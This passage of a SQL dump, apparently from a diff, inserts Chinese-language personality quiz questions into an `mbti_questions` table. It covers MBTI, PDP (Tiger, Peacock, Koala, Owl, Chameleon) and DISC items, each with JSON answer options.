`mbti_questions` VALUES (27, 'mbti', '在解决问题时,您更倾向于:', '[{\"text\": \"使用已证实有效的方法\", \"value\": \"S\"}, {\"text\": \"尝试创新的解决方案\", \"value\": \"N\"}]', 'SN', NULL, 27, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (28, 'mbti', '您更关注:', '[{\"text\": \"当下的现实和实际情况\", \"value\": \"S\"}, {\"text\": \"未来的可能性和潜在发展\", \"value\": \"N\"}]', 'SN', NULL, 28, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (29, 'mbti', '您更喜欢的工作类型是:', '[{\"text\": \"有明确指导和具体步骤的工作\", \"value\": \"S\"}, {\"text\": \"允许创新和探索的工作\", \"value\": \"N\"}]', 'SN', NULL, 29, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (30, 'mbti', '您更倾向于:', '[{\"text\": \"关注实际和现实的细节\", \"value\": \"S\"}, {\"text\": \"思考概念和理论\", \"value\": \"N\"}]', 'SN', NULL, 30, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (31, 'mbti', '您更喜欢的书籍或电影是:', '[{\"text\": \"基于现实的故事或纪实作品\", \"value\": \"S\"}, {\"text\": \"科幻、奇幻或充满想象力的作品\", \"value\": \"N\"}]', 'SN', NULL, 31, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (32, 'mbti', '在学习新技能时,您更倾向于:', '[{\"text\": \"按部就班地学习,掌握每个具体步骤\", \"value\": \"S\"}, {\"text\": \"先了解整体概念,然后填补细节\", \"value\": \"N\"}]', 'SN', NULL, 32, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (33, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确结构和规则的环境\", \"value\": \"S\"}, {\"text\": \"灵活多变,鼓励创新的环境\", \"value\": \"N\"}]', 'SN', NULL, 33, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (34, 'mbti', '您更倾向于:', '[{\"text\": \"关注现实和实际问题\", \"value\": \"S\"}, {\"text\": \"思考未来和可能性\", \"value\": \"N\"}]', 'SN', NULL, 34, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (35, 'mbti', '在描述事物时,您更倾向于:', '[{\"text\": \"提供具体细节和精确描述\", \"value\": \"S\"}, {\"text\": \"使用比喻和隐喻,强调整体印象\", \"value\": \"N\"}]', 'SN', NULL, 35, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (36, 'mbti', '您更喜欢的工作任务是:', '[{\"text\": \"需要精确和注重细节的任务\", \"value\": \"S\"}, {\"text\": \"需要创造力和想象力的任务\", \"value\": \"N\"}]', 'SN', NULL, 36, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (37, 'mbti', '您更相信:', '[{\"text\": \"亲眼所见和实际经验\", \"value\": \"S\"}, {\"text\": \"直觉和内在感受\", \"value\": \"N\"}]', 'SN', NULL, 37, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (38, 'mbti', '在讨论问题时,您更关注:', '[{\"text\": \"具体事实和实际例子\", \"value\": \"S\"}, {\"text\": \"概念和理论框架\", \"value\": \"N\"}]', 'SN', NULL, 38, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (39, 'mbti', '您更喜欢的学习方式是:', '[{\"text\": \"通过实践和具体例子学习\", \"value\": \"S\"}, {\"text\": \"通过理论和概念学习\", \"value\": \"N\"}]', 'SN', NULL, 39, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (40, 'mbti', '您更倾向于:', '[{\"text\": \"关注现在和过去的经验\", \"value\": \"S\"}, {\"text\": \"思考未来和可能发生的事情\", \"value\": \"N\"}]', 'SN', NULL, 40, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (41, 'mbti', '在解决问题时,您更依赖:', '[{\"text\": \"已经证明有效的方法和经验\", \"value\": \"S\"}, {\"text\": \"创新的思路和直觉\", \"value\": \"N\"}]', 'SN', NULL, 41, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (42, 'mbti', '您更喜欢的工作是:', '[{\"text\": \"有明确目标和具体步骤的工作\", \"value\": \"S\"}, {\"text\": \"允许探索和创新的工作\", \"value\": \"N\"}]', 'SN', NULL, 42, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (43, 'mbti', '您更倾向于:', '[{\"text\": \"关注实际和现实的问题\", \"value\": \"S\"}, {\"text\": \"思考抽象和理论性的问题\", \"value\": \"N\"}]', 'SN', NULL, 43, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (44, 'mbti', '您更喜欢:', '[{\"text\": \"按照既定的方法和程序工作\", \"value\": \"S\"}, {\"text\": \"尝试新的方法和创新的解决方案\", \"value\": \"N\"}]', 'SN', NULL, 44, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (45, 'mbti', '您更关注:', '[{\"text\": \"实际的细节和具体的事实\", \"value\": \"S\"}, {\"text\": \"整体的概念和潜在的可能性\", \"value\": \"N\"}]', 'SN', NULL, 45, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (46, 'mbti', '在做决定时,您通常会:', '[{\"text\": \"考虑逻辑和客观分析\", \"value\": \"T\"}, {\"text\": \"考虑个人价值观和他人感受\", \"value\": \"F\"}]', 'TF', NULL, 46, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (47, 'mbti', '您更倾向于:', '[{\"text\": \"公正客观地分析情况\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响\", \"value\": \"F\"}]', 'TF', NULL, 47, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (48, 'mbti', '在解决冲突时,您更关注:', '[{\"text\": \"找出问题的根本原因和逻辑解决方案\", \"value\": \"T\"}, {\"text\": \"维护关系和照顾各方感受\", \"value\": \"F\"}]', 'TF', NULL, 48, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (49, 'mbti', '您更倾向于:', '[{\"text\": \"直接指出问题,即使可能伤害他人感受\", \"value\": \"T\"}, {\"text\": \"委婉表达,避免伤害他人感受\", \"value\": \"F\"}]', 'TF', NULL, 49, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (50, 'mbti', '在评估情况时,您更重视:', '[{\"text\": \"客观事实和逻辑分析\", \"value\": \"T\"}, {\"text\": \"人际关系和价值观\", \"value\": \"F\"}]', 'TF', NULL, 50, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (51, 'mbti', '您更倾向于:', '[{\"text\": \"保持客观,不受个人情感影响\", \"value\": \"T\"}, {\"text\": \"考虑决定对他人的情感影响\", \"value\": \"F\"}]', 'TF', NULL, 51, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (52, 'mbti', '在团队中,您更关注:', '[{\"text\": \"任务的完成和效率\", \"value\": \"T\"}, {\"text\": \"团队和谐和成员满意度\", \"value\": \"F\"}]', 'TF', NULL, 52, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (53, 'mbti', '您更倾向于:', '[{\"text\": \"基于逻辑和事实做决定\", \"value\": \"T\"}, {\"text\": \"基于价值观和个人信念做决定\", \"value\": \"F\"}]', 'TF', NULL, 53, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (54, 'mbti', '在给予反馈时,您更倾向于:', '[{\"text\": \"直接指出问题和改进方向\", \"value\": \"T\"}, {\"text\": \"先肯定优点,再委婉提出建议\", \"value\": \"F\"}]', 'TF', NULL, 54, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (55, 'mbti', '您更看重:', '[{\"text\": \"公平和一致性\", \"value\": \"T\"}, {\"text\": \"同情和个人情况\", \"value\": \"F\"}]', 'TF', NULL, 55, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (56, 'mbti', '在工作中,您更重视:', '[{\"text\": \"效率和成果\", \"value\": \"T\"}, {\"text\": \"团队合作和人际关系\", \"value\": \"F\"}]', 'TF', NULL, 56, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (57, 'mbti', '您更倾向于:', '[{\"text\": \"客观分析问题,不受个人情感影响\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响和感受\", \"value\": \"F\"}]', 'TF', NULL, 57, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (58, 'mbti', '在处理冲突时,您更倾向于:', '[{\"text\": \"关注问题本身,寻求公正的解决方案\", \"value\": \"T\"}, {\"text\": \"关注人际关系,寻求和谐的解决方案\", \"value\": \"F\"}]', 'TF', NULL, 58, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (59, 'mbti', '您更看重:', '[{\"text\": \"真实和诚实,即使可能伤害感情\", \"value\": \"T\"}, {\"text\": \"善良和体贴,避免伤害他人\", \"value\": \"F\"}]', 'TF', NULL, 59, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (60, 'mbti', '在评价他人时,您更倾向于:', '[{\"text\": \"客观评价其表现和能力\", \"value\": \"T\"}, {\"text\": \"考虑其努力和意图\", \"value\": \"F\"}]', 'TF', NULL, 60, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (61, 'mbti', '您更倾向于:', '[{\"text\": \"基于原则和规则做决定\", \"value\": \"T\"}, {\"text\": \"基于具体情况和个人需求做决定\", \"value\": \"F\"}]', 'TF', NULL, 61, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (62, 'mbti', '在处理问题时,您更关注:', '[{\"text\": \"找出最有效的解决方案\", \"value\": \"T\"}, {\"text\": \"确保所有人都感到被尊重和理解\", \"value\": \"F\"}]', 'TF', NULL, 62, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (63, 'mbti', '您更倾向于:', '[{\"text\": \"保持客观和理性\", \"value\": \"T\"}, {\"text\": \"表达同理心和关怀\", \"value\": \"F\"}]', 'TF', NULL, 63, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (64, 'mbti', '在做决定时,您更看重:', '[{\"text\": \"逻辑和一致性\", \"value\": \"T\"}, {\"text\": \"价值观和人际和谐\", \"value\": \"F\"}]', 'TF', NULL, 64, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (65, 'mbti', '您更倾向于:', '[{\"text\": \"分析问题,寻找最佳解决方案\", \"value\": \"T\"}, {\"text\": \"理解他人感受,寻求共识\", \"value\": \"F\"}]', 'TF', NULL, 65, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (66, 'mbti', '在工作中,您更重视:', '[{\"text\": \"完成任务和达成目标\", \"value\": \"T\"}, {\"text\": \"维护良好的工作关系\", \"value\": \"F\"}]', 'TF', NULL, 66, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (67, 'mbti', '您更倾向于:', '[{\"text\": \"基于事实和数据做决定\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响\", \"value\": \"F\"}]', 'TF', NULL, 67, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (68, 'mbti', '您更喜欢:', '[{\"text\": \"提前计划并按计划执行\", \"value\": \"J\"}, {\"text\": \"保持灵活,根据情况调整\", \"value\": \"P\"}]', 'JP', NULL, 68, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (69, 'mbti', '您更倾向于:', '[{\"text\": \"按时完成任务,避免拖延\", \"value\": \"J\"}, {\"text\": \"在最后期限前完成任务,保持灵活性\", \"value\": \"P\"}]', 'JP', NULL, 69, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (70, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确的规则和结构\", \"value\": \"J\"}, {\"text\": \"灵活多变,允许即兴发挥\", \"value\": \"P\"}]', 'JP', NULL, 70, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (71, 'mbti', '您更倾向于:', '[{\"text\": \"制定详细的计划并遵循\", \"value\": \"J\"}, {\"text\": \"根据情况随机应变\", \"value\": \"P\"}]', 'JP', NULL, 71, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (72, 'mbti', '您更喜欢:', '[{\"text\": \"有条理和组织的生活方式\", \"value\": \"J\"}, {\"text\": \"自然流动和灵活的生活方式\", \"value\": \"P\"}]', 'JP', NULL, 72, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (73, 'mbti', '在做决定时,您更倾向于:', '[{\"text\": \"尽快做出决定并执行\", \"value\": \"J\"}, {\"text\": \"保持选项开放,等待更多信息\", \"value\": \"P\"}]', 'JP', NULL, 73, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (74, 'mbti', '您更喜欢:', '[{\"text\": \"按照既定的时间表和计划行事\", \"value\": \"J\"}, {\"text\": \"根据当下的情况和感受行事\", \"value\": \"P\"}]', 'JP', NULL, 74, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (75, 'mbti', '您更倾向于:', '[{\"text\": \"完成一项任务后再开始下一项\", \"value\": \"J\"}, {\"text\": \"同时处理多项任务,根据情况切换\", \"value\": \"P\"}]', 'JP', NULL, 75, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (76, 'mbti', '您更喜欢的工作方式是:', '[{\"text\": \"有明确的目标和截止日期\", \"value\": \"J\"}, {\"text\": \"灵活的工作流程,可以随时调整\", \"value\": \"P\"}]', 'JP', NULL, 76, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (77, 'mbti', '您更倾向于:', '[{\"text\": \"提前做决定,避免最后一刻的压力\", \"value\": \"J\"}, {\"text\": \"保持选项开放,等待最佳时机\", \"value\": \"P\"}]', 'JP', NULL, 77, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (78, 'mbti', '您的工作区域通常是:', '[{\"text\": \"整洁有序,物品摆放有规律\", \"value\": \"J\"}, {\"text\": \"创意性混乱,物品随手可及\", \"value\": \"P\"}]', 'JP', NULL, 78, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (79, 'mbti', '您更倾向于:', '[{\"text\": \"按部就班地完成任务\", \"value\": \"J\"}, {\"text\": \"在灵感来临时集中精力工作\", \"value\": \"P\"}]', 'JP', NULL, 79, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (80, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的规则和指导方针\", \"value\": \"J\"}, {\"text\": \"灵活的环境,可以自由发挥\", \"value\": \"P\"}]', 'JP', NULL, 80, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (81, 'mbti', '您更倾向于:', '[{\"text\": \"提前计划假期和活动\", \"value\": \"J\"}, {\"text\": \"即兴决定和安排活动\", \"value\": \"P\"}]', 'JP', NULL, 81, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (82, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的日程安排\", \"value\": \"J\"}, {\"text\": \"根据当天的情况决定\", \"value\": \"P\"}]', 'JP', NULL, 82, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (83, 'mbti', '您更倾向于:', '[{\"text\": \"按照计划行事,避免意外\", \"value\": \"J\"}, {\"text\": \"适应变化,享受意外惊喜\", \"value\": \"P\"}]', 'JP', NULL, 83, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (84, 'mbti', '您更喜欢的生活方式是:', '[{\"text\": \"有规律和可预测的\", \"value\": \"J\"}, {\"text\": \"自然流动和多变的\", \"value\": \"P\"}]', 'JP', NULL, 84, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (85, 'mbti', '您更倾向于:', '[{\"text\": \"提前做好准备,避免匆忙\", \"value\": \"J\"}, {\"text\": \"在最后一刻完成准备,保持灵活性\", \"value\": \"P\"}]', 'JP', NULL, 85, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (86, 'mbti', '您更喜欢:', '[{\"text\": \"明确的指导和方向\", \"value\": \"J\"}, {\"text\": \"探索不同的可能性\", \"value\": \"P\"}]', 'JP', NULL, 86, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (87, 'mbti', '您更倾向于:', '[{\"text\": \"按照既定的程序和方法工作\", \"value\": \"J\"}, {\"text\": \"根据情况调整工作方法\", \"value\": \"P\"}]', 'JP', NULL, 87, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (88, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的目标和计划\", \"value\": \"J\"}, {\"text\": \"保持开放的态度,随机应变\", \"value\": \"P\"}]', 'JP', NULL, 88, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (89, 'mbti', '您更倾向于:', '[{\"text\": \"做决定并坚持执行\", \"value\": \"J\"}, {\"text\": \"保持灵活,根据新信息调整\", \"value\": \"P\"}]', 'JP', NULL, 89, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (90, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确的期望和截止日期\", \"value\": \"J\"}, {\"text\": \"灵活的工作流程和时间安排\", \"value\": \"P\"}]', 'JP', NULL, 90, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (91, 'pdp', '面对紧急任务,您的第一反应是:', '[{\"text\": \"立即行动,快速完成\", \"value\": \"Tiger\"}, {\"text\": \"召集团队,激励大家\", \"value\": \"Peacock\"}, {\"text\": \"冷静分析,稳步推进\", \"value\": \"Koala\"}, {\"text\": \"仔细规划,确保无误\", \"value\": \"Owl\"}, {\"text\": \"根据情况灵活应对\", \"value\": \"Chameleon\"}]', NULL, NULL, 1, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (92, 'pdp', '在社交场合,您通常会:', '[{\"text\": \"主导话题,引领讨论\", \"value\": \"Tiger\"}, {\"text\": \"活跃气氛,成为焦点\", \"value\": \"Peacock\"}, {\"text\": \"安静倾听,适时回应\", \"value\": \"Koala\"}, {\"text\": \"观察分析,选择性交流\", \"value\": \"Owl\"}, {\"text\": \"根据对象调整方式\", \"value\": \"Chameleon\"}]', NULL, NULL, 2, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (93, 'pdp', '您最看重工作中的:', '[{\"text\": \"权力和成就\", \"value\": \"Tiger\"}, {\"text\": \"认可和赞赏\", \"value\": \"Peacock\"}, {\"text\": \"稳定和和谐\", \"value\": \"Koala\"}, {\"text\": \"准确和质量\", \"value\": \"Owl\"}, {\"text\": \"平衡和适应\", \"value\": \"Chameleon\"}]', NULL, NULL, 3, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (94, 'pdp', '处理冲突时,您倾向于:', '[{\"text\": \"直接面对,迅速解决\", \"value\": \"Tiger\"}, {\"text\": \"调解双方,化解矛盾\", \"value\": \"Peacock\"}, {\"text\": \"避免冲突,维护和平\", \"value\": \"Koala\"}, {\"text\": \"分析原因,理性处理\", \"value\": \"Owl\"}, {\"text\": \"灵活应对,视情况而定\", \"value\": \"Chameleon\"}]', NULL, NULL, 4, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (95, 'pdp', '您的决策风格是:', '[{\"text\": \"果断迅速,行动导向\", \"value\": \"Tiger\"}, {\"text\": \"直觉判断,情感驱动\", \"value\": \"Peacock\"}, {\"text\": \"深思熟虑,追求共识\", \"value\": \"Koala\"}, {\"text\": \"数据分析,逻辑推理\", \"value\": \"Owl\"}, {\"text\": \"综合考虑,灵活决策\", \"value\": \"Chameleon\"}]', NULL, NULL, 5, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (96, 'pdp', '面对压力,您会:', '[{\"text\": \"更加强势,控制局面\", \"value\": \"Tiger\"}, {\"text\": \"寻求支持,表达情绪\", \"value\": \"Peacock\"}, {\"text\": \"保持冷静,稳定情绪\", \"value\": \"Koala\"}, {\"text\": \"更加谨慎,反复确认\", \"value\": \"Owl\"}, {\"text\": \"调整策略,灵活应对\", \"value\": \"Chameleon\"}]', NULL, NULL, 6, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (97, 'pdp', '您的领导风格是:', '[{\"text\": \"指挥型,明确方向\", \"value\": \"Tiger\"}, {\"text\": \"激励型,鼓舞士气\", \"value\": \"Peacock\"}, {\"text\": \"支持型,关怀团队\", \"value\": \"Koala\"}, {\"text\": \"专家型,以身作则\", \"value\": \"Owl\"}, {\"text\": \"教练型,因材施教\", \"value\": \"Chameleon\"}]', NULL, NULL, 7, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (98, 'pdp', '您处理细节的方式是:', '[{\"text\": \"关注大局,委托他人\", \"value\": \"Tiger\"}, {\"text\": \"可能忽略,更重整体\", \"value\": \"Peacock\"}, {\"text\": \"认真对待,确保准确\", \"value\": \"Koala\"}, {\"text\": \"极度重视,追求完美\", \"value\": \"Owl\"}, {\"text\": \"视情况决定关注程度\", \"value\": \"Chameleon\"}]', NULL, NULL, 8, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (99, 'pdp', '您的沟通方式是:', '[{\"text\": \"直接简短,注重结果\", \"value\": \"Tiger\"}, {\"text\": \"热情生动,富有感染力\", \"value\": \"Peacock\"}, {\"text\": \"温和耐心,善于倾听\", \"value\": \"Koala\"}, {\"text\": \"逻辑清晰,注重事实\", \"value\": \"Owl\"}, {\"text\": \"根据对象调整方式\", \"value\": \"Chameleon\"}]', NULL, NULL, 9, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (100, 'pdp', '您对变化的态度是:', '[{\"text\": \"主动推动,寻找机会\", \"value\": \"Tiger\"}, {\"text\": \"积极拥抱,乐观面对\", \"value\": \"Peacock\"}, {\"text\": \"需要适应时间\", \"value\": \"Koala\"}, {\"text\": \"谨慎评估,确保万全\", \"value\": \"Owl\"}, {\"text\": \"灵活适应,随机应变\", \"value\": \"Chameleon\"}]', NULL, NULL, 10, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (101, 'pdp', '您的时间管理风格是:', '[{\"text\": \"高效利用,追求速度\", \"value\": \"Tiger\"}, {\"text\": \"灵活安排,留有余地\", \"value\": \"Peacock\"}, {\"text\": \"按部就班,稳定执行\", \"value\": \"Koala\"}, {\"text\": \"精确规划,严格执行\", \"value\": \"Owl\"}, {\"text\": \"根据情况调整计划\", \"value\": \"Chameleon\"}]', NULL, NULL, 11, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (102, 'pdp', '您被什么激励:', '[{\"text\": \"成就和权力\", \"value\": \"Tiger\"}, {\"text\": \"认可和赞赏\", \"value\": \"Peacock\"}, {\"text\": \"安全和归属\", \"value\": \"Koala\"}, {\"text\": \"正确和标准\", \"value\": \"Owl\"}, {\"text\": \"多样性和平衡\", \"value\": \"Chameleon\"}]', NULL, NULL, 12, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (103, 'pdp', '您的学习方式是:', '[{\"text\": \"边做边学,实践第一\", \"value\": \"Tiger\"}, {\"text\": \"互动讨论,分享学习\", \"value\": \"Peacock\"}, {\"text\": \"循序渐进,反复练习\", \"value\": \"Koala\"}, {\"text\": \"深入研究,系统学习\", \"value\": \"Owl\"}, {\"text\": \"多种方式结合\", \"value\": \"Chameleon\"}]', NULL, NULL, 13, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (104, 'pdp', '您对规则的态度是:', '[{\"text\": \"规则是用来打破的\", \"value\": \"Tiger\"}, {\"text\": \"灵活运用,不拘一格\", \"value\": \"Peacock\"}, {\"text\": \"遵守规则,维护秩序\", \"value\": \"Koala\"}, {\"text\": \"严格遵守,确保合规\", \"value\": \"Owl\"}, {\"text\": \"视情况灵活处理\", \"value\": \"Chameleon\"}]', NULL, NULL, 14, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (105, 'pdp', '您在团队中的角色是:', '[{\"text\": \"领导者,推动进展\", \"value\": \"Tiger\"}, {\"text\": \"激励者,凝聚人心\", \"value\": \"Peacock\"}, {\"text\": \"协调者,维护和谐\", \"value\": \"Koala\"}, {\"text\": \"专家,提供专业意见\", \"value\": \"Owl\"}, {\"text\": \"多面手,灵活补位\", \"value\": \"Chameleon\"}]', NULL, NULL, 15, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (106, 'pdp', '您的工作节奏是:', '[{\"text\": \"快节奏,追求效率\", \"value\": \"Tiger\"}, {\"text\": \"充满活力,变化多端\", \"value\": \"Peacock\"}, {\"text\": \"稳定有序,按部就班\", \"value\": \"Koala\"}, {\"text\": \"有条理,精确执行\", \"value\": \"Owl\"}, {\"text\": \"根据需要调整节奏\", \"value\": \"Chameleon\"}]', NULL, NULL, 16, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (107, 'pdp', '您最大的优势是:', '[{\"text\": \"决断力和执行力\", \"value\": \"Tiger\"}, {\"text\": \"影响力和感染力\", \"value\": \"Peacock\"}, {\"text\": \"耐心和可靠性\", \"value\": \"Koala\"}, {\"text\": \"分析力和准确性\", \"value\": \"Owl\"}, {\"text\": \"适应力和灵活性\", \"value\": \"Chameleon\"}]', NULL, NULL, 17, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (108, 'pdp', '您的人际关系特点是:', '[{\"text\": \"目标导向,建立有价值的关系\", \"value\": \"Tiger\"}, {\"text\": \"广泛社交,朋友众多\", \"value\": \"Peacock\"}, {\"text\": \"深度交往,关系稳定\", \"value\": \"Koala\"}, {\"text\": \"选择性交往,志同道合\", \"value\": \"Owl\"}, {\"text\": \"根据情况建立不同类型关系\", \"value\": \"Chameleon\"}]', NULL, NULL, 18, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (109, 'pdp', '面对批评,您的反应是:', '[{\"text\": \"可能会反驳或辩护\", \"value\": \"Tiger\"}, {\"text\": \"可能会感到受伤\", \"value\": \"Peacock\"}, {\"text\": \"接受并思考改进\", \"value\": \"Koala\"}, {\"text\": \"分析批评的合理性\", \"value\": \"Owl\"}, {\"text\": \"根据情况调整反应\", \"value\": \"Chameleon\"}]', NULL, NULL, 19, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (110, 'pdp', '您的理想工作环境是:', '[{\"text\": \"充满挑战,自主权高\", \"value\": \"Tiger\"}, {\"text\": \"互动频繁,氛围活跃\", \"value\": \"Peacock\"}, {\"text\": \"稳定和谐,团队协作\", \"value\": \"Koala\"}, {\"text\": \"有序规范,专注质量\", \"value\": \"Owl\"}, {\"text\": \"灵活多变,兼顾平衡\", \"value\": \"Chameleon\"}]', NULL, NULL, 20, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (111, 'disc', '在团队中,您更倾向于:', '[{\"text\": \"主导决策,带领团队前进\", \"value\": \"D\"}, {\"text\": \"活跃气氛,激励团队成员\", \"value\": \"I\"}, {\"text\": \"支持他人,确保团队和谐\", \"value\": \"S\"}, {\"text\": \"分析数据,确保决策质量\", \"value\": \"C\"}]', NULL, NULL, 1, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (112, 'disc', '面对挑战时,您的第一反应是:', '[{\"text\": \"立即行动,解决问题\", \"value\": \"D\"}, {\"text\": \"寻找支持,团队协作\", \"value\": \"I\"}, {\"text\": \"冷静思考,稳步推进\", \"value\": \"S\"}, {\"text\": \"收集信息,谨慎分析\", \"value\": \"C\"}]', NULL, NULL, 2, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (113, 'disc', '您在工作中最看重的是:', '[{\"text\": \"成果和效率\", \"value\": \"D\"}, {\"text\": \"认可和赞赏\", \"value\": \"I\"}, {\"text\": \"稳定和安全\", \"value\": \"S\"}, {\"text\": \"准确和质量\", \"value\": \"C\"}]', NULL, NULL, 3, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (114, 'disc', '与他人沟通时,您通常:', '[{\"text\": \"直接了当,注重结果\", \"value\": \"D\"}, {\"text\": \"热情友好,善于表达\", \"value\": \"I\"}, {\"text\": \"耐心倾听,体贴理解\", \"value\": \"S\"}, {\"text\": \"逻辑清晰,注重细节\", \"value\": \"C\"}]', NULL, NULL, 4, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (115, 'disc', '压力之下,您会:', '[{\"text\": \"变得更加强势和控制\", \"value\": \"D\"}, {\"text\": \"寻求他人支持和鼓励\", \"value\": \"I\"}, {\"text\": \"保持冷静,按部就班\", \"value\": \"S\"}, {\"text\": \"更加谨慎,反复确认\", \"value\": \"C\"}]', NULL, NULL, 5, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (116, 'disc', '您认为自己的优势是:', '[{\"text\": \"决断力强,行动迅速\", \"value\": \"D\"}, 